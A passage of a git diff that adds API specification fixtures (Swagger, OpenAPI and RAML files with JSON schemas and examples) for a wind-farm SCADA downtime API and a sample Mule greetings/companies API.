"Downtime" + ], + "summary": "Get a list of downtime events for a SCADA object that overlap with a time period", + "operationId": "GetObject", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the object", + "required": true, + "type": "string" + }, + { + "name": "from", + "in": "query", + "description": "The inclusive start of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "to", + "in": "query", + "description": "The exclusive end of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + } + }, + "/api/v1/downtime/{site-api-key}/type/{scada-object-type}": { + "get": { + "tags": [ + "Downtime" + ], + "summary": "Get a list of downtime events for all SCADA objects of a single type at one site that overlap with the selected time period", + "operationId": "GetType", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + }, + { + "name": "scada-object-type", + "in": "path", + "description": "The SCADA object type", + "required": true, + "type": "string" + }, + { + "name": "from", + "in": "query", + "description": "The inclusive start of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "to", + "in": "query", + "description": "The exclusive end of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + } + }, + "/api/v1/downtime": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Update a downtime event", + "operationId": "Put", + "consumes": [ + "application/json-patch+json", + "application/json", + "text/json", + "application/*+json" + ], + "produces": [], + "parameters": [ + { + "name": "downtimeEvent", + "in": "body", + "description": "The downtime event to update", + "required": false, + "schema": { + "$ref": "#/definitions/EditableDowntimeEvent" + } + } + ], + "responses": { + "200": { + "description": "Success" + } + } + }, + "post": { + "tags": [ + "Downtime" + ], + "summary": "Create a new downtime event", + "operationId": "Post", + "consumes": [ + "application/json-patch+json", + "application/json", + "text/json", + "application/*+json" + ], + "produces": [], + "parameters": [ + { + "name": "downtimeEvent", + "in": "body", + "description": "The new downtime event", + "required": false, + "schema": { + "$ref": "#/definitions/EditableDowntimeEvent" + } + } + ], + "responses": { + "200": { + "description": "Success" + } + } + } + }, + "/api/v1/downtime/revert/{scada-object-key}": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Revert changes to a previously split downtime event", + "operationId": "Revert", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the downtime event's SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The start time of the downtime event. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + }, + "/api/v1/downtime/split/{scada-object-key}": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Split a downtime event", + "operationId": "Split", + "consumes": [], + "produces": [], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the downtime event's SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The start time of the downtime event. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "split-time", + "in": "query", + "description": "The time to split. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success" + } + } + } + }, + "/api/v1/downtime/copy/{scada-object-key}": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Copy the properties of a downtime event to a list of downtime events.", + "description": "The following properties are copied:\r\nAlarmGroup\r\nAlarmDefinition\r\nAvailabilityIndicator\r\nDescription", + "operationId": "Copy", + "consumes": [ + "application/json-patch+json", + "application/json", + "text/json", + "application/*+json" + ], + "produces": [], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the downtime event's SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The start time of the downtime event", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "downtimeEvents", + "in": "body", + "description": "Create or update these downtime events", + "required": false, + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEventKey" + } + } + } + ], + "responses": { + "200": { + "description": "Success" + } + } + } + }, + "/api/v1/group": { + "get": { + "tags": [ + "Group" + ], + "summary": "Get a list of all alarm groups", + "operationId": "GetAlarmGroups", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/AlarmGroup" + } + } + } + } + } + }, + "/api/v1/object/{site-api-key}/{scada-object-type}": { + "get": { + "tags": [ + "Object" + ], + "summary": "Get a list of SCADA objects of a single type at one site that can have Downtimes", + "operationId": "GetObjects", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + }, + { + "name": "scada-object-type", + "in": "path", + "description": "The SCADA object type", + "required": true, + "type": "string" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/ScadaObject" + } + } + } + } + } + }, + "/api/v1/objecttype/{site-api-key}": { + "get": { + "tags": [ + "ObjectType" + ], + "summary": "Get a list of types of the SCADA objects at one site that can have Downtimes", + "operationId": "GetTypes", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "type": "string" + } + } + } + } + } + }, + "/api/v1/penalising-status": { + "get": { + "tags": [ + "PenalisingStatus" + ], + "summary": "Get a list of all penalising status", + "operationId": "GetPenalisingStatus", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/AvailabilityIndicator" + } + } + } + } + } + } + }, + "definitions": { + "Alarm": { + "type": "object", + "properties": { + "timeOn": { + "format": "date-time", + "type": "string" + }, + "timeOff": { + "format": "date-time", + "type": "string" + }, + "description": { + "type": "string" + }, + "parameter1": { + "type": "string" + }, + "parameter2": { + "type": "string" + }, + "comment": { + "type": "string" + } + } + }, + "DowntimeEvent": { + "type": "object", + "properties": { + "alarmCode": { + "type": "string" + }, + "siteKey": { + "type": "string" + }, + "description": { + "type": "string" + }, + "lostProduction": { + "format": "double", + "type": "number" + }, + "meanWindSpeed": { + "format": "double", + "type": "number" + }, + "windSpeedDataCoverage": { + "format": "double", + "type": "number" + }, + "edited": { + "type": "boolean" + }, + "canBeReverted": { + "type": "boolean" + }, + "timeOff": { + "format": "date-time", + "type": "string" + }, + "comment": { + "type": "string" + }, + "subGroup": { + "type": "string" + }, + "group": { + "type": "string" + }, + "penalisingStatus": { + "type": "string" + }, + "scadaObjectName": { + "type": "string" + }, + "scadaObjectKey": { + "type": "string" + }, + "timeOn": { + "format": "date-time", + "type": "string" + } + } + }, + "EditableDowntimeEvent": { + "type": "object", + "properties": { + "timeOff": { + "format": "date-time", + "type": "string" + }, + "comment": { + "type": "string" + }, + "subGroup": { + "type": "string" + }, + "group": { + "type": "string" + }, + "penalisingStatus": { + "type": "string" + }, + "scadaObjectName": { + "type": "string" + }, + "scadaObjectKey": { + "type": "string" + }, + "timeOn": { + "format": "date-time", + "type": "string" + } + } + }, + "DowntimeEventKey": { + "type": "object", + "properties": { + "scadaObjectKey": { + "type": "string" + }, + "timeOn": { + "format": "date-time", + "type": "string" + } + } + }, + "AlarmGroup": { + "type": "object", + "properties": { + "turbineBudget": { + "type": "boolean" + }, + "windfarmBudget": { + "type": "boolean" + }, + "operationalAvailability": { + "type": "boolean" + }, + "name": { + "type": "string" + }, + "technology": { + "$ref": "#/definitions/SiteTechnology" + }, + "subGroups": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/AlarmSubGroup" + } + } + } + }, + "SiteTechnology": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + }, + "AlarmSubGroup": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + }, + "ScadaObject": { + "type": "object", + "properties": { + "apiKey": { + "type": "string" + }, + "name": { + "type": "string" + } + } + }, + "AvailabilityIndicator": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + } + } +} diff --git a/demo/apis/SE-12959/SE-12959.json b/demo/apis/SE-12959/SE-12959.json new file mode 100644 index 0000000..a2f7bcb --- /dev/null +++ b/demo/apis/SE-12959/SE-12959.json @@ -0,0 +1,741 @@ +{ + "swagger": "2.0", + "info": { + "version": "v1", + "title": "SMART Downtime API Example4", + "description": "Rendering of the \"summary\" field in the operation documentation. Jira: summary field for an 'Operation Object' does not appear in Design Center and these summaries are not published to Exchange", + "contact": { + "name": "SMART Support", + "email": "smartsupport@res-group.com" + } + }, + "paths": { + "/api/v1/alarm/{scada-object-key}": { + "get": { + "tags": [ + "Alarm" + ], + "description": "Get a list of alarms for a single downtime event.", + "operationId": "GetList", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The key identifies the SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The downtime event start time", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/Alarm" + } + } + } + } + } + }, + "/api/v1/downtime/site/{site-api-key}": { + "get": { + "tags": [ + "Downtime" + ], + "summary": "Get a list of downtime events for a site that overlap with a time period", + "operationId": "GetSite", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + }, + { + "name": "from", + "in": "query", + "description": "The inclusive start of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "to", + "in": "query", + "description": "The exclusive end of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + } + }, + "/api/v1/downtime/object/{scada-object-key}": { + "get": { + "tags": [ + "Downtime" + ], + "summary": "Get a list of downtime events for a SCADA object that overlap with a time period", + "operationId": "GetObject", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the object", + "required": true, + "type": "string" + }, + { + "name": "from", + "in": "query", + "description": "The inclusive start of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "to", + "in": "query", + "description": "The exclusive end of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + } + }, + "/api/v1/downtime/{site-api-key}/type/{scada-object-type}": { + "get": { + "tags": [ + "Downtime" + ], + "summary": "Get a list of downtime events for all SCADA objects of a single type at one site that overlap with the selected time period", + "operationId": "GetType", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + }, + { + "name": "scada-object-type", + "in": "path", + "description": "The SCADA object type", + "required": true, + "type": "string" + }, + { + "name": "from", + "in": "query", + "description": "The inclusive start of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "to", + "in": "query", + "description": "The exclusive end of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + } + }, + "/api/v1/downtime": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Update a downtime event", + "operationId": "Put", + "consumes": [ + "application/json-patch+json", + "application/json", + "text/json", + "application/*+json" + ], + "produces": [], + "parameters": [ + { + "name": "downtimeEvent", + "in": "body", + "description": "The downtime event to update", + "required": false, + "schema": { + "$ref": "#/definitions/EditableDowntimeEvent" + } + } + ], + "responses": { + "200": { + "description": "Success" + } + } + }, + "post": { + "tags": [ + "Downtime" + ], + "summary": "Create a new downtime event", + "operationId": "Post", + "consumes": [ + "application/json-patch+json", + "application/json", + "text/json", + "application/*+json" + ], + "produces": [], + "parameters": [ + { + "name": "downtimeEvent", + "in": "body", + "description": "The new downtime event", + "required": false, + "schema": { + "$ref": "#/definitions/EditableDowntimeEvent" + } + } + ], + "responses": { + "200": { + "description": "Success" + } + } + } + }, + "/api/v1/downtime/revert/{scada-object-key}": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Revert changes to a previously split downtime event", + "operationId": "Revert", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the downtime event's SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The start time of the downtime event. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + }, + "/api/v1/downtime/split/{scada-object-key}": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Split a downtime event", + "operationId": "Split", + "consumes": [], + "produces": [], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the downtime event's SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The start time of the downtime event. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "split-time", + "in": "query", + "description": "The time to split. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success" + } + } + } + }, + "/api/v1/downtime/copy/{scada-object-key}": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Copy the properties of a downtime event to a list of downtime events.", + "description": "The following properties are copied:\r\nAlarmGroup\r\nAlarmDefinition\r\nAvailabilityIndicator\r\nDescription", + "operationId": "Copy", + "consumes": [ + "application/json-patch+json", + "application/json", + "text/json", + "application/*+json" + ], + "produces": [], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the downtime event's SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The start time of the downtime event", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "downtimeEvents", + "in": "body", + "description": "Create or update these downtime events", + "required": false, + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEventKey" + } + } + } + ], + "responses": { + "200": { + "description": "Success" + } + } + } + }, + "/api/v1/group": { + "get": { + "tags": [ + "Group" + ], + "summary": "Get a list of all alarm groups", + "operationId": "GetAlarmGroups", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/AlarmGroup" + } + } + } + } + } + }, + "/api/v1/object/{site-api-key}/{scada-object-type}": { + "get": { + "tags": [ + "Object" + ], + "summary": "Get a list of SCADA objects of a single type at one site that can have Downtimes", + "operationId": "GetObjects", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + }, + { + "name": "scada-object-type", + "in": "path", + "description": "The SCADA object type", + "required": true, + "type": "string" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/ScadaObject" + } + } + } + } + } + }, + "/api/v1/objecttype/{site-api-key}": { + "get": { + "tags": [ + "ObjectType" + ], + "summary": "Get a list of types of the SCADA objects at one site that can have Downtimes", + "operationId": "GetTypes", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "type": "string" + } + } + } + } + } + }, + "/api/v1/penalising-status": { + "get": { + "tags": [ + "PenalisingStatus" + ], + "summary": "Get a list of all penalising status", + "operationId": "GetPenalisingStatus", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/AvailabilityIndicator" + } + } + } + } + } + } + }, + "definitions": { + "Alarm": { + "type": "object", + "properties": { + "timeOn": { + "format": "date-time", + "type": "string" + }, + "timeOff": { + "format": "date-time", + "type": "string" + }, + "description": { + "type": "string" + }, + "parameter1": { + "type": "string" + }, + "parameter2": { + "type": "string" + }, + "comment": { + "type": "string" + } + } + }, + "DowntimeEvent": { + "type": "object", + "properties": { + "alarmCode": { + "type": "string" + }, + "siteKey": { + "type": "string" + }, + "description": { + "type": "string" + }, + "lostProduction": { + "format": "double", + "type": "number" + }, + "meanWindSpeed": { + "format": "double", + "type": "number" + }, + "windSpeedDataCoverage": { + "format": "double", + "type": "number" + }, + "edited": { + "type": "boolean" + }, + "canBeReverted": { + "type": "boolean" + }, + "timeOff": { + "format": "date-time", + "type": "string" + }, + "comment": { + "type": "string" + }, + "subGroup": { + "type": "string" + }, + "group": { + "type": "string" + }, + "penalisingStatus": { + "type": "string" + }, + "scadaObjectName": { + "type": "string" + }, + "scadaObjectKey": { + "type": "string" + }, + "timeOn": { + "format": "date-time", + "type": "string" + } + } + }, + "EditableDowntimeEvent": { + "type": "object", + "properties": { + "timeOff": { + "format": "date-time", + "type": "string" + }, + "comment": { + "type": "string" + }, + "subGroup": { + "type": "string" + }, + "group": { + "type": "string" + }, + "penalisingStatus": { + "type": "string" + }, + "scadaObjectName": { + "type": "string" + }, + "scadaObjectKey": { + "type": "string" + }, + "timeOn": { + "format": "date-time", + "type": "string" + } + } + }, + "DowntimeEventKey": { + "type": "object", + "properties": { + "scadaObjectKey": { + "type": "string" + }, + "timeOn": { + "format": "date-time", + "type": "string" + } + } + }, + "AlarmGroup": { + "type": "object", + "properties": { + "turbineBudget": { + "type": "boolean" + }, + "windfarmBudget": { + "type": "boolean" + }, + "operationalAvailability": { + "type": "boolean" + }, + "name": { + "type": "string" + }, + "technology": { + "$ref": "#/definitions/SiteTechnology" + }, + "subGroups": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/AlarmSubGroup" + } + } + } + }, + "SiteTechnology": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + }, + "AlarmSubGroup": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + }, + "ScadaObject": { + "type": "object", + "properties": { + "apiKey": { + "type": "string" + }, + "name": { + "type": "string" + } + } + }, + "AvailabilityIndicator": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + } + } +} diff --git a/demo/apis/SE-17897/SE-17897.yaml b/demo/apis/SE-17897/SE-17897.yaml new file mode 100755 index 0000000..6f27395 --- /dev/null +++ b/demo/apis/SE-17897/SE-17897.yaml @@ -0,0 +1,21 @@ +openapi: '3.0.2' +info: + title: 'SE-17897' + version: 1.0.0 + +paths: + /default: + post: + parameters: + - in: query + name: conversationId + required: false + description: > + The ConversationId uniquely identifies the message sent from the sender to the receiver. + schema: + type: string + format: uuid + example: '242ab55c-de2b-4822-a411-945e85882b60' + responses: + '201': + description: Created diff --git a/demo/apis/SE-19500/SE-19500.raml b/demo/apis/SE-19500/SE-19500.raml new file mode 100755 index 0000000..ccb18e9 --- /dev/null +++ b/demo/apis/SE-19500/SE-19500.raml @@ -0,0 +1,95 @@ +#%RAML 1.0 +title: canda-mule4-example +documentation: + - title: Home + content: !include docs/home.md +version: api +baseUri: https://mule-worker-internal-canda-mule4-example-deve.de-c1.cloudhub.io:33443/api + +uses: + candaCommons: modules/canada-commons/canda-commons.raml + myTypes: modules/canda-mule4-example-data-types/api.raml + +securedBy: [candaCommons.basicAuth] + +types: + Companies: !include ref/companies-schema.json + +/greetings: + description: The greetings resource contains only a simple message. The message text might be customized by passing a query parameter. + is: [ candaCommons.client-id-required ] + get: + description: Answers a collection of three simple greetings. + responses: + 200: + body: + application/json: + example: !include modules/canda-mule4-example-data-types/examples/greetings-example.json + type: myTypes.greetings + 204: + description: The response does not contain any content. + put: + description: Creates a representation of a simple greeting message. This is a pseudo operation, the API does not store the representation in any way. + body: + application/json: + examples: + example1: !include modules/canda-mule4-example-data-types/examples/greeting-example.json + type: myTypes.greeting + responses: + 201: + body: + application/json: + example: !include modules/canda-mule4-example-data-types/examples/greeting-example.json + type: myTypes.greeting + /{name}: + description: Responds with a greeting a for the given 'name'. + is: [ candaCommons.client-id-required ] + uriParameters: + name: + type: string + example: "mike" + get: + description: Answers a greeting representation for the given 'name'. + queryParameters: + message: + displayName: message + type: string + description: Pass a message which should be used by the response. + required: false + example: "Hi, Dude" + responses: + 200: + body: + application/json: + example: !include modules/canda-mule4-example-data-types/examples/greeting-example.json + type: myTypes.greeting +/companies: + description: The companies resource is probably the most simple representation of a C&A company. + is: [ candaCommons.client-id-required ] + get: + description: Answers a collection (1..n) of all available Companies with their basic attributes. + responses: + 200: + body: + application/json: + example: !include ref/companies-example.json + type: !include ref/companies-schema.json + 204: + description: The response does not contain any content. + post: + description: Add a new company + body: + application/json: + examples: + example1: !include ref/companies-example.json + type: Companies + responses: + 201: + description: Created + +/logLevels/{loggerName}: + type: candaCommons.logLevel + is: [ candaCommons.client-id-required ] +/ping: + type: candaCommons.ping + is: [ candaCommons.client-id-required ] diff --git a/demo/apis/SE-19500/modules/canada-commons/canda-commons.raml b/demo/apis/SE-19500/modules/canada-commons/canda-commons.raml new file mode 100755 index 0000000..505352a --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/canda-commons.raml @@ -0,0 +1,64 @@ +#%RAML 1.0 Library +usage: | + This library defines some common concepts to be used throughout C&A's API specifications. + +traits: + client-id-required: + usage: Apply this trait to every API/resource that is protected by "client-id enforcement". + description: Access requires client credentials (ID and secret). + +resourceTypes: + ping: + description: Answers a little JSON structure containing the most essential information on the application in question. + get: + responses: + 200: + body: + application/json: + example: !include ref/ping-example.json + type: !include ref/ping-schema.json + logLevel: + description: Change the severity of a specific logger. + uriParameters: + loggerName: + description: Name of the logger whose level is to be changed. + type: string + required: true + example: "org.apache" + put: + body: + application/json: + example: !include ref/log-levels-example.json + type: !include ref/log-levels-schema.json + responses: + 200: + body: + application/json: + description: | + Add + "#[com.canda.mulestac.logging.ChangeLogLevel.changeWithJson(flowVars.loggerName, payload)]" + to your generated set-payload flow element. + example: !include ref/log-levels-response-example.json + type: !include ref/log-levels-response-schema.json + +securitySchemes: + basicAuth: + displayName: Basic Authentication + description: This API supports Basic Authentication. The client has to provide an "Authorization" header with valid credentials. + type: Basic Authentication + + describedBy: + headers: + Authorization: + description: Used to send valid credentials. + type: string + example: Basic ax5Gdza5OnJpZnG4Z2ok + responses: + 401: + description: Credentials are missing or could not be validated by the server. + +annotationTypes: + deprecated: + type: string + description: Mark resources or methods that should not be used any longer accordingly. + allowedTargets: [ Resource, Method ] diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-example.json b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-example.json new file mode 100755 index 0000000..e9f7afb --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-example.json @@ -0,0 +1,3 @@ +{ + "newLevel": "DEBUG" +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-example.json b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-example.json new file mode 100755 index 0000000..267547b --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-example.json @@ -0,0 +1,3 @@ +{ + "message" : "TODO you need to replace this generated setpayload by #[com.canda.mulestac.logging.ChangeLogLevel.changeWithJson(flowVars.loggerName, payload)] in the api.xml" +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-schema.json b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-schema.json new file mode 100755 index 0000000..6b13e8b --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-schema.json @@ -0,0 +1,10 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "type": "object", + "properties": { + "message": { + "description":"the human readable result of the changeLogLevel operation.", + "type": "string" + } + } +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-schema.json b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-schema.json new file mode 100755 index 0000000..b690c9d --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/ref/log-levels-schema.json @@ -0,0 +1,30 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "type": "object", + "title": "change a certain log level", + "properties": { + "newLevel": { + "type": "string", + "description": "The new log level to be set.", + "enum": [ + "OFF", + "ERROR", + "WARN", + "INFO", + "DEBUG", + "TRACE" + ] + }, + "createFlag": { + "description": "Optional parameter to create a logger in case it does not exist (to avoid typo errors for existing loggers).", + "type": "boolean" + }, + "hoursToReset": { + "description": "Delay in hours after which time the logger is set back to its original log level.", + "type": "integer" + } + }, + "required": [ + "newLevel" + ] +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/ping-example.json b/demo/apis/SE-19500/modules/canada-commons/ref/ping-example.json new file mode 100755 index 0000000..9554808 --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/ref/ping-example.json @@ -0,0 +1,7 @@ +{ + "application": { + "name": "some-application-system", + "version": "2019.8.1", + "stage": "deve" + } +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canada-commons/ref/ping-schema.json b/demo/apis/SE-19500/modules/canada-commons/ref/ping-schema.json new file mode 100755 index 0000000..23e4b69 --- /dev/null +++ b/demo/apis/SE-19500/modules/canada-commons/ref/ping-schema.json @@ -0,0 +1,49 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "type": "object", + "title": "Describes a /ping response that provides meta information of the application in place.", + "required": [ + "application" + ], + "properties": { + "application": { + "type": "object", + "description": "The application object holds some basic information concerning self.", + "required": [ + "name", + "version", + "stage" + ], + "properties": { + "name": { + "type": "string", + "description": "The name of the application. Corresponds to the Maven 'artifactId'.", + "examples": [ + "some-application-system" + ] + }, + "version": { + "type": "string", + "description": "The version of the deployed application.", + "examples": [ + "2019.8.1", "2020.1.2-SNAPSHOT" + ] + }, + "stage": { + "type": "string", + "description": "The stage (environment) the application is currently running.", + "enum": [ + "local", + "deve", + "apps", + "ints", + "prod", + "trai", + "pref", + "phot" + ] + } + } + } + } +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/api.raml b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/api.raml new file mode 100755 index 0000000..5962f21 --- /dev/null +++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/api.raml @@ -0,0 +1,6 @@ +#%RAML 1.0 Library +usage: Shared DataType definitions for the **canda-mule4-example** API. + +types: + greeting: !include types/greeting-schema.json + greetings: !include types/greetings-schema.json diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greeting-example.json b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greeting-example.json new file mode 100755 index 0000000..ba47af3 --- /dev/null +++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greeting-example.json @@ -0,0 +1,4 @@ +{ + "id": "82157f46-887e-4907-b7c6-06278b3b9ea1", + "message": "Welcome and thanks for your request, mike." +} \ No newline at end of file diff --git a/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greetings-example.json b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greetings-example.json new file mode 100755 index 0000000..41fb36f --- /dev/null +++ b/demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greetings-example.json @@ -0,0 +1,15 @@ +{ + "greetings": [{ + "id": "1568b2db-9e2f-4025-b7ae-05301901d362", + "message": "Enjoy this wonderful day while the sun is shining on the autumn leaves." + }, + { + "id": "0bde5b56-bad6-4ed8-9ac6-355587761610", + "message": "Can you hear the waves? Most amazing sound I've ever heard." + }, + { + "id": "57b5673e-73f0-4512-bca1-5255dc6f25b5", + "message": "Mindfulness is one of the secrets for a happy life." + } + ] +} \ No newline at end of file diff --git 